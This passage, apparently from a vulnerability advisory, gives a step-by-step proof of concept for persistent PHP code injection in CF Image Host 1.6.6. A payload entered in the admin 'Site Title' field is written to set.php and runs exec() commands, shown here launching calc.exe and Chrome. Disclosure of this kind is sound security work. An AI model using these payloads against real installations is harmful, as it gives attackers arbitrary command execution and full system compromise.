Possibly leading to privilege escalation, RFI, backdoors etc.. and most likely full compromise of the affected system or shared environment if applicable. PHP Command Injection Exploit code(s): ===================================== Under the setting tab we can inject following below PHP code and it will remain persistent as it is written disk in 'set.php', afterwards when the victim visits the application and click a tab the persistent OS command will be executed. 1) navigate to CF image host settings tab http://localhost/imagehost1.6.6/admin.php?act=set 2) click on admin menu on left and enter your passwords DO NOT click 'Save changes' yet! or you get error message to enter creds 3) now go back to settings tab and click 'General' then inject below PHP code into the 'Site Title' input field 4) now click 'Save Changes', this code will get stored under /inc directory within the 'set.php' PHP file. our PHP injection payload needs the single quotes, double back slashes, semicolons as described below to correctly escape the syntax so we do not break the PHP page and cause errors, our extra \\ quoutes and ; gets removed after injection takes place. some examples... ';echo exec("c:\\Windows\\system32\\calc.exe");'';'; 'set.php' on line 11 then becomes: $settings['SET_TITLE'] = '';echo exec("c:\Windows\system32\calc.exe");'';';'; OR inject CMD to launch chrome.exe etc... ';echo exec("c:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe");'';'; After, click on some tabs above like 'Database' or 'Ban User' and Tada! this will execute our stored PHP command... either running calc.exe or launching Google Chrome.
